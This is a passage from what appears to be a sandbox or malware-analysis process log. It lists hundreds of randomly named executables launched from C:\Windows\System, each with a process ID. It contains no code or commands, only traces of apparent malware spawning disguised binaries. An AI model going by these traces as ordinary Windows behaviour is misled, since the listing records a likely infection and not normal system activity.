  C:\Windows\System\wBJirxQ.exe
  2⤵
  PID:6056
- C:\Windows\System\YOogpOk.exe
  C:\Windows\System\YOogpOk.exe
  2⤵
  PID:4972
- C:\Windows\System\COceAhL.exe
  C:\Windows\System\COceAhL.exe
  2⤵
  PID:6784
- C:\Windows\System\qDoWCFI.exe
  C:\Windows\System\qDoWCFI.exe
  2⤵
  PID:5384
- C:\Windows\System\GnVTISW.exe
  C:\Windows\System\GnVTISW.exe
  2⤵
  PID:6916
- C:\Windows\System\phmMQeS.exe
  C:\Windows\System\phmMQeS.exe
  2⤵
  PID:6956
- C:\Windows\System\juWGzZk.exe
  C:\Windows\System\juWGzZk.exe
  2⤵
  PID:7032
- C:\Windows\System\HBcxGID.exe
  C:\Windows\System\HBcxGID.exe
  2⤵
  PID:1948
- C:\Windows\System\oGkLJWi.exe
  C:\Windows\System\oGkLJWi.exe
  2⤵
  PID:7124
- C:\Windows\System\npMYgZy.exe
  C:\Windows\System\npMYgZy.exe
  2⤵
  PID:6220
- C:\Windows\System\bKaRPKh.exe
  C:\Windows\System\bKaRPKh.exe
  2⤵
  PID:5556
- C:\Windows\System\AusLHWo.exe
  C:\Windows\System\AusLHWo.exe
  2⤵
  PID:5864
- C:\Windows\System\KoxMiCF.exe
  C:\Windows\System\KoxMiCF.exe
  2⤵
  PID:5592
- C:\Windows\System\zwvpyCB.exe
  C:\Windows\System\zwvpyCB.exe
  2⤵
  PID:5364
- C:\Windows\System\dkBYyXr.exe
  C:\Windows\System\dkBYyXr.exe
  2⤵
  PID:1648
- C:\Windows\System\vCebStb.exe
  C:\Windows\System\vCebStb.exe
  2⤵
  PID:8208
- C:\Windows\System\yQxcWCa.exe
  C:\Windows\System\yQxcWCa.exe
  2⤵
  PID:8232
- C:\Windows\System\HedRsPf.exe
  C:\Windows\System\HedRsPf.exe
  2⤵
  PID:8256
- C:\Windows\System\eCOULeE.exe
  C:\Windows\System\eCOULeE.exe
  2⤵
  PID:8276
- C:\Windows\System\ckeZMik.exe
  C:\Windows\System\ckeZMik.exe
  2⤵
  PID:8292
- C:\Windows\System\vvUsfOU.exe
  C:\Windows\System\vvUsfOU.exe
  2⤵
  PID:8320
- C:\Windows\System\NhTBhNl.exe
  C:\Windows\System\NhTBhNl.exe
  2⤵
  PID:8340
- C:\Windows\System\kdiPJri.exe
  C:\Windows\System\kdiPJri.exe
  2⤵
  PID:8360
- C:\Windows\System\XTyEcHZ.exe
  C:\Windows\System\XTyEcHZ.exe
  2⤵
  PID:8568
- C:\Windows\System\EFPfPcc.exe
  C:\Windows\System\EFPfPcc.exe
  2⤵
  PID:8584
- C:\Windows\System\NNpmSDV.exe
  C:\Windows\System\NNpmSDV.exe
  2⤵
  PID:8600
- C:\Windows\System\RYkgsHu.exe
  C:\Windows\System\RYkgsHu.exe
  2⤵
  PID:8616
- C:\Windows\System\LnwUlYq.exe
  C:\Windows\System\LnwUlYq.exe
  2⤵
  PID:8632
- C:\Windows\System\HuzmKzY.exe
  C:\Windows\System\HuzmKzY.exe
  2⤵
  PID:8648
- C:\Windows\System\UgQuTFX.exe
  C:\Windows\System\UgQuTFX.exe
  2⤵
  PID:8664
- C:\Windows\System\Xiyfkvm.exe
  C:\Windows\System\Xiyfkvm.exe
  2⤵
  PID:8680
- C:\Windows\System\BvLSKUg.exe
  C:\Windows\System\BvLSKUg.exe
  2⤵
  PID:8696
- C:\Windows\System\TZaxojp.exe
  C:\Windows\System\TZaxojp.exe
  2⤵
  PID:8712
- C:\Windows\System\DuXlWqF.exe
  C:\Windows\System\DuXlWqF.exe
  2⤵
  PID:8728
- C:\Windows\System\hYjIyQb.exe
  C:\Windows\System\hYjIyQb.exe
  2⤵
  PID:8744
- C:\Windows\System\opULEOE.exe
  C:\Windows\System\opULEOE.exe
  2⤵
  PID:8764
- C:\Windows\System\JLDHlio.exe
  C:\Windows\System\JLDHlio.exe
  2⤵
  PID:8780
- C:\Windows\System\SxfJCEE.exe
  C:\Windows\System\SxfJCEE.exe
  2⤵
  PID:8800
- C:\Windows\System\tcfHYkz.exe
  C:\Windows\System\tcfHYkz.exe
  2⤵
  PID:9176
- C:\Windows\System\CkJfgxb.exe
  C:\Windows\System\CkJfgxb.exe
  2⤵
  PID:9192
- C:\Windows\System\nvihoVG.exe
  C:\Windows\System\nvihoVG.exe
  2⤵
  PID:9208
- C:\Windows\System\EZZsKnl.exe
  C:\Windows\System\EZZsKnl.exe
  2⤵
  PID:7184
- C:\Windows\System\OyDRugV.exe
  C:\Windows\System\OyDRugV.exe
  2⤵
  PID:5760
- C:\Windows\System\qoLCCsi.exe
  C:\Windows\System\qoLCCsi.exe
  2⤵
  PID:5804
- C:\Windows\System\OyffybC.exe
  C:\Windows\System\OyffybC.exe
  2⤵
  PID:5836
- C:\Windows\System\cpcYUhc.exe
  C:\Windows\System\cpcYUhc.exe
  2⤵
  PID:5884
- C:\Windows\System\XqvcdFz.exe
  C:\Windows\System\XqvcdFz.exe
  2⤵
  PID:5916
- C:\Windows\System\AzCyeiS.exe
  C:\Windows\System\AzCyeiS.exe
  2⤵
  PID:5952
- C:\Windows\System\TbUysvV.exe
  C:\Windows\System\TbUysvV.exe
  2⤵
  PID:5988
- C:\Windows\System\jJgRcEE.exe
  C:\Windows\System\jJgRcEE.exe
  2⤵
  PID:6040
- C:\Windows\System\MlcUlKz.exe
  C:\Windows\System\MlcUlKz.exe
  2⤵
  PID:6080
- C:\Windows\System\ZPyQDkX.exe
  C:\Windows\System\ZPyQDkX.exe
  2⤵
  PID:4660
- C:\Windows\System\zOdLyyF.exe
  C:\Windows\System\zOdLyyF.exe
  2⤵
  PID:2804
- C:\Windows\System\cOTmTSS.exe
  C:\Windows\System\cOTmTSS.exe
  2⤵
  PID:208
- C:\Windows\System\YEVhphH.exe
  C:\Windows\System\YEVhphH.exe
  2⤵
  PID:448
- C:\Windows\System\mjujptY.exe
  C:\Windows\System\mjujptY.exe
  2⤵
  PID:1464
- C:\Windows\System\CuBcTNo.exe
  C:\Windows\System\CuBcTNo.exe
  2⤵
  PID:6196
- C:\Windows\System\ymmLeoE.exe
  C:\Windows\System\ymmLeoE.exe
  2⤵
  PID:6372
- C:\Windows\System\gLZYJZy.exe
  C:\Windows\System\gLZYJZy.exe
  2⤵
  PID:6484
- C:\Windows\System\PUjXtBK.exe
  C:\Windows\System\PUjXtBK.exe
  2⤵
  PID:6548
- C:\Windows\System\PgYegpw.exe
  C:\Windows\System\PgYegpw.exe
  2⤵
  PID:6624
- C:\Windows\System\dOqScIs.exe
  C:\Windows\System\dOqScIs.exe
  2⤵
  PID:6744
- C:\Windows\System\mSvpSfh.exe
  C:\Windows\System\mSvpSfh.exe
  2⤵
  PID:6876
- C:\Windows\System\HgvdFSj.exe
  C:\Windows\System\HgvdFSj.exe
  2⤵
  PID:7000
- C:\Windows\System\VlOahOi.exe
  C:\Windows\System\VlOahOi.exe
  2⤵
  PID:7136
- C:\Windows\System\IOSptUi.exe
  C:\Windows\System\IOSptUi.exe
  2⤵
  PID:1592
- C:\Windows\System\zMhneHP.exe
  C:\Windows\System\zMhneHP.exe
  2⤵
  PID:4984
- C:\Windows\System\XnqoTBl.exe
  C:\Windows\System\XnqoTBl.exe
  2⤵
  PID:2916
- C:\Windows\System\wMzwVOP.exe
  C:\Windows\System\wMzwVOP.exe
  2⤵
  PID:6284
- C:\Windows\System\cinLoWx.exe
  C:\Windows\System\cinLoWx.exe
  2⤵
  PID:7436
- C:\Windows\System\EKITyZS.exe
  C:\Windows\System\EKITyZS.exe
  2⤵
  PID:7672
- C:\Windows\System\YcKNWZw.exe
  C:\Windows\System\YcKNWZw.exe
  2⤵
  PID:8136
- C:\Windows\System\lsjptvq.exe
  C:\Windows\System\lsjptvq.exe
  2⤵
  PID:7036
- C:\Windows\System\PhHDCIF.exe
  C:\Windows\System\PhHDCIF.exe
  2⤵
  PID:8244
- C:\Windows\System\hdgnleG.exe
  C:\Windows\System\hdgnleG.exe
  2⤵
  PID:5672
- C:\Windows\System\DlvkaLY.exe
  C:\Windows\System\DlvkaLY.exe
  2⤵
  PID:7212
- C:\Windows\System\JYYOyOM.exe
  C:\Windows\System\JYYOyOM.exe
  2⤵
  PID:7248
- C:\Windows\System\GePxhlY.exe
  C:\Windows\System\GePxhlY.exe
  2⤵
  PID:7300
- C:\Windows\System\vcssghX.exe
  C:\Windows\System\vcssghX.exe
  2⤵
  PID:7392
- C:\Windows\System\DHFFoRs.exe
  C:\Windows\System\DHFFoRs.exe
  2⤵
  PID:7428
- C:\Windows\System\hiNennD.exe
  C:\Windows\System\hiNennD.exe
  2⤵
  PID:7520
- C:\Windows\System\mKAaLTm.exe
  C:\Windows\System\mKAaLTm.exe
  2⤵
  PID:7560
- C:\Windows\System\yrrAABN.exe
  C:\Windows\System\yrrAABN.exe
  2⤵
  PID:7596
- C:\Windows\System\XrRtBXn.exe
  C:\Windows\System\XrRtBXn.exe
  2⤵
  PID:7636
- C:\Windows\System\gwCqrVR.exe
  C:\Windows\System\gwCqrVR.exe
  2⤵
  PID:7676
- C:\Windows\System\ePrpIZg.exe
  C:\Windows\System\ePrpIZg.exe
  2⤵
  PID:7712
- C:\Windows\System\wwdwyqV.exe
  C:\Windows\System\wwdwyqV.exe
  2⤵
  PID:7760
- C:\Windows\System\lYvEyVm.exe
  C:\Windows\System\lYvEyVm.exe
  2⤵
  PID:7804
- C:\Windows\System\hnoyYsj.exe
  C:\Windows\System\hnoyYsj.exe
  2⤵
  PID:7844
- C:\Windows\System\pOpaAKp.exe
  C:\Windows\System\pOpaAKp.exe
  2⤵
  PID:7892
- C:\Windows\System\MmPmfdd.exe
  C:\Windows\System\MmPmfdd.exe
  2⤵
  PID:7932
- C:\Windows\System\wcXvmld.exe
  C:\Windows\System\wcXvmld.exe
  2⤵
  PID:7972
- C:\Windows\System\fEmTksW.exe
  C:\Windows\System\fEmTksW.exe
  2⤵
  PID:8016
- C:\Windows\System\nkBNiBX.exe
  C:\Windows\System\nkBNiBX.exe
  2⤵
  PID:8060
- C:\Windows\System\tTfIaAb.exe
  C:\Windows\System\tTfIaAb.exe
  2⤵
  PID:8116
- C:\Windows\System\lmTKwRQ.exe
  C:\Windows\System\lmTKwRQ.exe
  2⤵
  PID:8164
- C:\Windows\System\rnEyFnU.exe
  C:\Windows\System\rnEyFnU.exe
  2⤵
  PID:5164
- C:\Windows\System\jckpyfK.exe
  C:\Windows\System\jckpyfK.exe
  2⤵
  PID:5992
- C:\Windows\System\WNOMxuz.exe
  C:\Windows\System\WNOMxuz.exe
  2⤵
  PID:6136
- C:\Windows\System\JMZEPuF.exe
  C:\Windows\System\JMZEPuF.exe
  2⤵
  PID:6820
- C:\Windows\System\rGfzqdI.exe
  C:\Windows\System\rGfzqdI.exe
  2⤵
  PID:6908
- C:\Windows\System\vHlRJmJ.exe
  C:\Windows\System\vHlRJmJ.exe
  2⤵
  PID:1240
- C:\Windows\System\KajaPzE.exe
  C:\Windows\System\KajaPzE.exe
  2⤵
  PID:6240
- C:\Windows\System\YTUIGHt.exe
  C:\Windows\System\YTUIGHt.exe
  2⤵
  PID:5788
- C:\Windows\System\McobNNe.exe
  C:\Windows\System\McobNNe.exe
  2⤵
  PID:6132
- C:\Windows\System\xhgDWDp.exe
  C:\Windows\System\xhgDWDp.exe
  2⤵
  PID:8224
- C:\Windows\System\MGhpQmH.exe
  C:\Windows\System\MGhpQmH.exe
  2⤵
  PID:8248
- C:\Windows\System\rpwNAjT.exe
  C:\Windows\System\rpwNAjT.exe
  2⤵
  PID:8288
- C:\Windows\System\SFKBRLm.exe
  C:\Windows\System\SFKBRLm.exe
  2⤵
  PID:8336
- C:\Windows\System\vWroZUn.exe
  C:\Windows\System\vWroZUn.exe
  2⤵
  PID:3352
- C:\Windows\System\rWGMigk.exe
  C:\Windows\System\rWGMigk.exe
  2⤵
  PID:3608
- C:\Windows\System\jeaGzKS.exe
  C:\Windows\System\jeaGzKS.exe
  2⤵
  PID:9228
- C:\Windows\System\tVhKcmU.exe
  C:\Windows\System\tVhKcmU.exe
  2⤵
  PID:9244
- C:\Windows\System\pfQlHbB.exe
  C:\Windows\System\pfQlHbB.exe
  2⤵
  PID:9264
- C:\Windows\System\UwAQwOc.exe
  C:\Windows\System\UwAQwOc.exe
  2⤵
  PID:9280
- C:\Windows\System\gEjoqOq.exe
  C:\Windows\System\gEjoqOq.exe
  2⤵
  PID:9304
- C:\Windows\System\nhxHbAx.exe
  C:\Windows\System\nhxHbAx.exe
  2⤵
  PID:9320
- C:\Windows\System\XlgDVIX.exe
  C:\Windows\System\XlgDVIX.exe
  2⤵
  PID:9336
- C:\Windows\System\PuRVzWw.exe
  C:\Windows\System\PuRVzWw.exe
  2⤵
  PID:9352
- C:\Windows\System\xYDbtcm.exe
  C:\Windows\System\xYDbtcm.exe
  2⤵
  PID:9368
- C:\Windows\System\sIJnSJr.exe
  C:\Windows\System\sIJnSJr.exe
  2⤵
  PID:9384
- C:\Windows\System\DTqnvLh.exe
  C:\Windows\System\DTqnvLh.exe
  2⤵
  PID:9400
- C:\Windows\System\yiYADpv.exe
  C:\Windows\System\yiYADpv.exe
  2⤵
  PID:9416
- C:\Windows\System\eSGYNIb.exe
  C:\Windows\System\eSGYNIb.exe
  2⤵
  PID:9432
- C:\Windows\System\MzWPRzj.exe
  C:\Windows\System\MzWPRzj.exe
  2⤵
  PID:9448
- C:\Windows\System\capwcIw.exe
  C:\Windows\System\capwcIw.exe
  2⤵
  PID:9464
- C:\Windows\System\NTIWXaI.exe
  C:\Windows\System\NTIWXaI.exe
  2⤵
  PID:9480
- C:\Windows\System\rxRIMWW.exe
  C:\Windows\System\rxRIMWW.exe
  2⤵
  PID:9496
- C:\Windows\System\jjFZqoj.exe
  C:\Windows\System\jjFZqoj.exe
  2⤵
  PID:9512
- C:\Windows\System\bqYDNrl.exe
  C:\Windows\System\bqYDNrl.exe
  2⤵
  PID:9528
- C:\Windows\System\QgXvPVK.exe
  C:\Windows\System\QgXvPVK.exe
  2⤵
  PID:9544
- C:\Windows\System\rdmhjdj.exe
  C:\Windows\System\rdmhjdj.exe
  2⤵
  PID:9564
- C:\Windows\System\pJUvHcK.exe
  C:\Windows\System\pJUvHcK.exe
  2⤵
  PID:9580
- C:\Windows\System\ztFAnSU.exe
  C:\Windows\System\ztFAnSU.exe
  2⤵
  PID:9604
- C:\Windows\System\wKWZtWS.exe
  C:\Windows\System\wKWZtWS.exe
  2⤵
  PID:9620
- C:\Windows\System\LiBDmbL.exe
  C:\Windows\System\LiBDmbL.exe
  2⤵
  PID:9644
- C:\Windows\System\uFgOHgh.exe
  C:\Windows\System\uFgOHgh.exe
  2⤵
  PID:9668
- C:\Windows\System\StKjJwN.exe
  C:\Windows\System\StKjJwN.exe
  2⤵
  PID:9688
- C:\Windows\System\NmjxGPy.exe
  C:\Windows\System\NmjxGPy.exe
  2⤵
  PID:9708
- C:\Windows\System\TjVojAv.exe
  C:\Windows\System\TjVojAv.exe
  2⤵
  PID:9724
- C:\Windows\System\unjVyos.exe
  C:\Windows\System\unjVyos.exe
  2⤵
  PID:9748
- C:\Windows\System\urhgbLa.exe
  C:\Windows\System\urhgbLa.exe
  2⤵
  PID:9768
- C:\Windows\System\UlIBKZN.exe
  C:\Windows\System\UlIBKZN.exe
  2⤵
  PID:9792
- C:\Windows\System\dpSvuEH.exe
  C:\Windows\System\dpSvuEH.exe
  2⤵
  PID:9812
- C:\Windows\System\ltniOVI.exe
  C:\Windows\System\ltniOVI.exe
  2⤵
  PID:9828
- C:\Windows\System\rqCdvSN.exe
  C:\Windows\System\rqCdvSN.exe
  2⤵
  PID:9852
- C:\Windows\System\jtivUUR.exe
  C:\Windows\System\jtivUUR.exe
  2⤵
  PID:9868
- C:\Windows\System\jTNZpQF.exe
  C:\Windows\System\jTNZpQF.exe
  2⤵
  PID:9892
- C:\Windows\System\ndbYkhB.exe
  C:\Windows\System\ndbYkhB.exe
  2⤵
  PID:9920
- C:\Windows\System\nbVAdBr.exe
  C:\Windows\System\nbVAdBr.exe
  2⤵
  PID:9936
- C:\Windows\System\qgCehWN.exe
  C:\Windows\System\qgCehWN.exe
  2⤵
  PID:9956
- C:\Windows\System\CiclthQ.exe
  C:\Windows\System\CiclthQ.exe
  2⤵
  PID:9988
- C:\Windows\System\YcrQYYt.exe
  C:\Windows\System\YcrQYYt.exe
  2⤵
  PID:10004
- C:\Windows\System\baRjnan.exe
  C:\Windows\System\baRjnan.exe
  2⤵
  PID:10024
- C:\Windows\System\MKUbpUM.exe
  C:\Windows\System\MKUbpUM.exe
  2⤵
  PID:10044
- C:\Windows\System\mccdqeQ.exe
  C:\Windows\System\mccdqeQ.exe
  2⤵
  PID:10068
- C:\Windows\System\ubDybTu.exe
  C:\Windows\System\ubDybTu.exe
  2⤵
  PID:10084
- C:\Windows\System\CLLDvlf.exe
  C:\Windows\System\CLLDvlf.exe
  2⤵
  PID:10108
- C:\Windows\System\NVbTNcT.exe
  C:\Windows\System\NVbTNcT.exe
  2⤵
  PID:10128
- C:\Windows\System\QqPvMAR.exe
  C:\Windows\System\QqPvMAR.exe
  2⤵
  PID:10148
- C:\Windows\System\nuXPdeS.exe
  C:\Windows\System\nuXPdeS.exe
  2⤵
  PID:10172
- C:\Windows\System\tXQNSyY.exe
  C:\Windows\System\tXQNSyY.exe
  2⤵
  PID:10188
- C:\Windows\System\AwzgfsC.exe
  C:\Windows\System\AwzgfsC.exe
  2⤵
  PID:10212
- C:\Windows\System\eCYlIyX.exe
  C:\Windows\System\eCYlIyX.exe
  2⤵
  PID:10244
- C:\Windows\System\ntfQUHS.exe
  C:\Windows\System\ntfQUHS.exe
  2⤵
  PID:10260
- C:\Windows\System\cHEYLcy.exe
  C:\Windows\System\cHEYLcy.exe
  2⤵
  PID:10280
- C:\Windows\System\lojTaIb.exe
  C:\Windows\System\lojTaIb.exe
  2⤵
  PID:10296
- C:\Windows\System\ZqBjZGx.exe
  C:\Windows\System\ZqBjZGx.exe
  2⤵
  PID:10320
- C:\Windows\System\BDvgouB.exe
  C:\Windows\System\BDvgouB.exe
  2⤵
  PID:10348
- C:\Windows\System\ZFbYPQW.exe
  C:\Windows\System\ZFbYPQW.exe
  2⤵
  PID:10364
- C:\Windows\System\GARYwAK.exe
  C:\Windows\System\GARYwAK.exe
  2⤵
  PID:10388
- C:\Windows\System\hwarFao.exe
  C:\Windows\System\hwarFao.exe
  2⤵
  PID:10408
- C:\Windows\System\BhoBTGn.exe
  C:\Windows\System\BhoBTGn.exe
  2⤵
  PID:10428
- C:\Windows\System\IdLKArV.exe
  C:\Windows\System\IdLKArV.exe
  2⤵
  PID:10452
- C:\Windows\System\BriaGdq.exe
  C:\Windows\System\BriaGdq.exe
  2⤵
  PID:10468
- C:\Windows\System\tqeoSbo.exe
  C:\Windows\System\tqeoSbo.exe
  2⤵
  PID:10492
- C:\Windows\System\DqIYquO.exe
  C:\Windows\System\DqIYquO.exe
  2⤵
  PID:10512
- C:\Windows\System\GFcOvUc.exe
  C:\Windows\System\GFcOvUc.exe
  2⤵
  PID:10532
- C:\Windows\System\JReDZRA.exe
  C:\Windows\System\JReDZRA.exe
  2⤵
  PID:10556
- C:\Windows\System\pADYPDQ.exe
  C:\Windows\System\pADYPDQ.exe
  2⤵
  PID:10576
- C:\Windows\System\xdIBIYn.exe
  C:\Windows\System\xdIBIYn.exe
  2⤵
  PID:10596
- C:\Windows\System\DbKcKyU.exe
  C:\Windows\System\DbKcKyU.exe
  2⤵
  PID:10620
- C:\Windows\System\dkkNGuT.exe
  C:\Windows\System\dkkNGuT.exe
  2⤵
  PID:10636
- C:\Windows\System\faMtWyd.exe
  C:\Windows\System\faMtWyd.exe
  2⤵
  PID:10660
- C:\Windows\System\DIrIDxU.exe
  C:\Windows\System\DIrIDxU.exe
  2⤵
  PID:10684
- C:\Windows\System\rgqFkxc.exe
  C:\Windows\System\rgqFkxc.exe
  2⤵
  PID:10700
- C:\Windows\System\wvWPcBP.exe
  C:\Windows\System\wvWPcBP.exe
  2⤵
  PID:10724
- C:\Windows\System\iKEMEzA.exe
  C:\Windows\System\iKEMEzA.exe
  2⤵
  PID:10744
- C:\Windows\System\NNjWGgH.exe
  C:\Windows\System\NNjWGgH.exe
  2⤵
  PID:10764
- C:\Windows\System\QAGJvAL.exe
  C:\Windows\System\QAGJvAL.exe
  2⤵
  PID:10788
- C:\Windows\System\PZgtAWQ.exe
  C:\Windows\System\PZgtAWQ.exe
  2⤵
  PID:10808
- C:\Windows\System\ZLSHHwW.exe
  C:\Windows\System\ZLSHHwW.exe
  2⤵
  PID:10828
- C:\Windows\System\aXOvNRX.exe
  C:\Windows\System\aXOvNRX.exe
  2⤵
  PID:10844
- C:\Windows\System\oSSDKFm.exe
  C:\Windows\System\oSSDKFm.exe
  2⤵
  PID:10876
- C:\Windows\System\KtrfGLx.exe
  C:\Windows\System\KtrfGLx.exe
  2⤵
  PID:10892
- C:\Windows\System\FeblCes.exe
  C:\Windows\System\FeblCes.exe
  2⤵
  PID:10908
- C:\Windows\System\ADqiRJb.exe
  C:\Windows\System\ADqiRJb.exe
  2⤵
  PID:10924
- C:\Windows\System\ztZsRme.exe
  C:\Windows\System\ztZsRme.exe
  2⤵
  PID:10940
- C:\Windows\System\fmTctqv.exe
  C:\Windows\System\fmTctqv.exe
  2⤵
  PID:10956
- C:\Windows\System\tdOWoUv.exe
  C:\Windows\System\tdOWoUv.exe
  2⤵
  PID:10976
- C:\Windows\System\vbOngFc.exe
  C:\Windows\System\vbOngFc.exe
  2⤵
  PID:10996
- C:\Windows\System\TRcYIvn.exe
  C:\Windows\System\TRcYIvn.exe
  2⤵
  PID:11020
- C:\Windows\System\dlcBCrO.exe
  C:\Windows\System\dlcBCrO.exe
  2⤵
  PID:11040
- C:\Windows\System\PnMgiRa.exe
  C:\Windows\System\PnMgiRa.exe
  2⤵
  PID:11060
- C:\Windows\System\ybNFATW.exe
  C:\Windows\System\ybNFATW.exe
  2⤵
  PID:11084
- C:\Windows\System\TVJGgeQ.exe
  C:\Windows\System\TVJGgeQ.exe
  2⤵
  PID:11100
- C:\Windows\System\UCDbizE.exe
  C:\Windows\System\UCDbizE.exe
  2⤵
  PID:11124
- C:\Windows\System\OCYzEQE.exe
  C:\Windows\System\OCYzEQE.exe
  2⤵
  PID:11140
- C:\Windows\System\WfPmoaY.exe
  C:\Windows\System\WfPmoaY.exe
  2⤵
  PID:11164
- C:\Windows\System\QeIoHir.exe
  C:\Windows\System\QeIoHir.exe
  2⤵
  PID:11184
- C:\Windows\System\YxfWfrB.exe
  C:\Windows\System\YxfWfrB.exe
  2⤵
  PID:11200
- C:\Windows\System\IGLgzyL.exe
  C:\Windows\System\IGLgzyL.exe
  2⤵
  PID:11444
- C:\Windows\System\dfUECwd.exe
  C:\Windows\System\dfUECwd.exe
  2⤵
  PID:11460
- C:\Windows\System\hRIqpNm.exe
  C:\Windows\System\hRIqpNm.exe
  2⤵
  PID:11480
- C:\Windows\System\TQYKopz.exe
  C:\Windows\System\TQYKopz.exe
  2⤵
  PID:11500
- C:\Windows\System\lkdYBLs.exe
  C:\Windows\System\lkdYBLs.exe
  2⤵
  PID:11520
- C:\Windows\System\urgxCAO.exe
  C:\Windows\System\urgxCAO.exe
  2⤵
  PID:11536
- C:\Windows\System\MzQqOoD.exe
  C:\Windows\System\MzQqOoD.exe
  2⤵
  PID:11556
- C:\Windows\System\JRyjZyi.exe
  C:\Windows\System\JRyjZyi.exe
  2⤵
  PID:11576
- C:\Windows\System\EtaPAbL.exe
  C:\Windows\System\EtaPAbL.exe
  2⤵
  PID:11596
- C:\Windows\System\AqVtOlz.exe
  C:\Windows\System\AqVtOlz.exe
  2⤵
  PID:11612
- C:\Windows\System\SkvXrsu.exe
  C:\Windows\System\SkvXrsu.exe
  2⤵
  PID:11632
- C:\Windows\System\hPTKgdv.exe
  C:\Windows\System\hPTKgdv.exe
  2⤵
  PID:11652
- C:\Windows\System\BJqBbRk.exe
  C:\Windows\System\BJqBbRk.exe
  2⤵
  PID:11668
- C:\Windows\System\XjRaAyh.exe
  C:\Windows\System\XjRaAyh.exe
  2⤵
  PID:11692
- C:\Windows\System\SdLDYrc.exe
  C:\Windows\System\SdLDYrc.exe
  2⤵
  PID:11708
- C:\Windows\System\uROnnON.exe
  C:\Windows\System\uROnnON.exe
  2⤵
  PID:11728
- C:\Windows\System\IBoMozH.exe
  C:\Windows\System\IBoMozH.exe
  2⤵
  PID:11752
- C:\Windows\System\NhCGzat.exe
  C:\Windows\System\NhCGzat.exe
  2⤵
  PID:11772
- C:\Windows\System\rhhpkua.exe
  C:\Windows\System\rhhpkua.exe
  2⤵
  PID:11792
- C:\Windows\System\DmqJCPj.exe
  C:\Windows\System\DmqJCPj.exe
  2⤵
  PID:11808
- C:\Windows\System\AxPKFUS.exe
  C:\Windows\System\AxPKFUS.exe
  2⤵
  PID:11968
- C:\Windows\System\kBtLanD.exe
  C:\Windows\System\kBtLanD.exe
  2⤵
  PID:12076
- C:\Windows\System\MJhlNAx.exe
  C:\Windows\System\MJhlNAx.exe
  2⤵
  PID:12096
- C:\Windows\System\QoTSnjo.exe
  C:\Windows\System\QoTSnjo.exe
  2⤵
  PID:12116
- C:\Windows\System\ghuwMNt.exe
  C:\Windows\System\ghuwMNt.exe
  2⤵
  PID:12136
- C:\Windows\System\ORbCnnF.exe
  C:\Windows\System\ORbCnnF.exe
  2⤵
  PID:12152
- C:\Windows\System\xGGYStn.exe
  C:\Windows\System\xGGYStn.exe
  2⤵
  PID:12176
- C:\Windows\System\eQwAEQG.exe
  C:\Windows\System\eQwAEQG.exe
  2⤵
  PID:12192
- C:\Windows\System\RWNORrb.exe
  C:\Windows\System\RWNORrb.exe
  2⤵
  PID:12208
- C:\Windows\System\mVtJEmp.exe
  C:\Windows\System\mVtJEmp.exe
  2⤵
  PID:12228
- C:\Windows\System\xsYUHns.exe
  C:\Windows\System\xsYUHns.exe
  2⤵
  PID:12244
- C:\Windows\System\jpdUhkz.exe
  C:\Windows\System\jpdUhkz.exe
  2⤵
  PID:12264
- C:\Windows\System\FeDOONO.exe
  C:\Windows\System\FeDOONO.exe
  2⤵
  PID:12284
- C:\Windows\System\jQXHeCf.exe
  C:\Windows\System\jQXHeCf.exe
  2⤵
  PID:5832
- C:\Windows\System\TWzoNYk.exe
  C:\Windows\System\TWzoNYk.exe
  2⤵
  PID:7816
- C:\Windows\System\RuwAFTw.exe
  C:\Windows\System\RuwAFTw.exe
  2⤵
  PID:6260
- C:\Windows\System\wQUAEtR.exe
  C:\Windows\System\wQUAEtR.exe
  2⤵
  PID:7196
- C:\Windows\System\qGvhXFm.exe
  C:\Windows\System\qGvhXFm.exe
  2⤵
  PID:7460
- C:\Windows\System\WhNgqgo.exe
  C:\Windows\System\WhNgqgo.exe
  2⤵
  PID:8352
- C:\Windows\System\vvBNwyn.exe
  C:\Windows\System\vvBNwyn.exe
  2⤵
  PID:6408
- C:\Windows\System\PpLLSDp.exe
  C:\Windows\System\PpLLSDp.exe
  2⤵
  PID:5860
- C:\Windows\System\LkMewKm.exe
  C:\Windows\System\LkMewKm.exe
  2⤵
  PID:7656
- C:\Windows\System\UrxxtfW.exe
  C:\Windows\System\UrxxtfW.exe
  2⤵
  PID:7728
- C:\Windows\System\HrotFht.exe
  C:\Windows\System\HrotFht.exe
  2⤵
  PID:8092
- C:\Windows\System\mRvsYRk.exe
  C:\Windows\System\mRvsYRk.exe
  2⤵
  PID:8160
- C:\Windows\System\JucIfnb.exe
  C:\Windows\System\JucIfnb.exe
  2⤵
  PID:12304
- C:\Windows\System\orvvDlp.exe
  C:\Windows\System\orvvDlp.exe
  2⤵
  PID:12320
- C:\Windows\System\UxJNoRE.exe
  C:\Windows\System\UxJNoRE.exe
  2⤵
  PID:12336
- C:\Windows\System\PUWwrqd.exe
  C:\Windows\System\PUWwrqd.exe
  2⤵
  PID:12368
- C:\Windows\System\acnXYXt.exe
  C:\Windows\System\acnXYXt.exe
  2⤵
  PID:12404
- C:\Windows\System\fYnYpSQ.exe
  C:\Windows\System\fYnYpSQ.exe
  2⤵
  PID:12420
- C:\Windows\System\EKIFiBG.exe
  C:\Windows\System\EKIFiBG.exe
  2⤵
  PID:12464
- C:\Windows\System\OIQHOvV.exe
  C:\Windows\System\OIQHOvV.exe
  2⤵
  PID:12484
- C:\Windows\System\OkSCXmK.exe
  C:\Windows\System\OkSCXmK.exe
  2⤵
  PID:12504
- C:\Windows\System\gFezgMX.exe
  C:\Windows\System\gFezgMX.exe
  2⤵
  PID:12524
- C:\Windows\System\qqzNkUW.exe
  C:\Windows\System\qqzNkUW.exe
  2⤵
  PID:12548
- C:\Windows\System\wtcjhTc.exe
  C:\Windows\System\wtcjhTc.exe
  2⤵
  PID:12568
- C:\Windows\System\RzgGZlp.exe
  C:\Windows\System\RzgGZlp.exe
  2⤵
  PID:12588
- C:\Windows\System\tFuDXhK.exe
  C:\Windows\System\tFuDXhK.exe
  2⤵
  PID:12608
- C:\Windows\System\CCWKdjp.exe
  C:\Windows\System\CCWKdjp.exe
  2⤵
  PID:12628
- C:\Windows\System\aEhwrPW.exe
  C:\Windows\System\aEhwrPW.exe
  2⤵
  PID:12648
- C:\Windows\System\LflxtYI.exe
  C:\Windows\System\LflxtYI.exe
  2⤵
  PID:12668
- C:\Windows\System\OCZJHke.exe
  C:\Windows\System\OCZJHke.exe
  2⤵
  PID:12688
- C:\Windows\System\RslDIzQ.exe
  C:\Windows\System\RslDIzQ.exe
  2⤵
  PID:12712
- C:\Windows\System\xHzGUbp.exe
  C:\Windows\System\xHzGUbp.exe
  2⤵
  PID:12728
- C:\Windows\System\GkteotM.exe
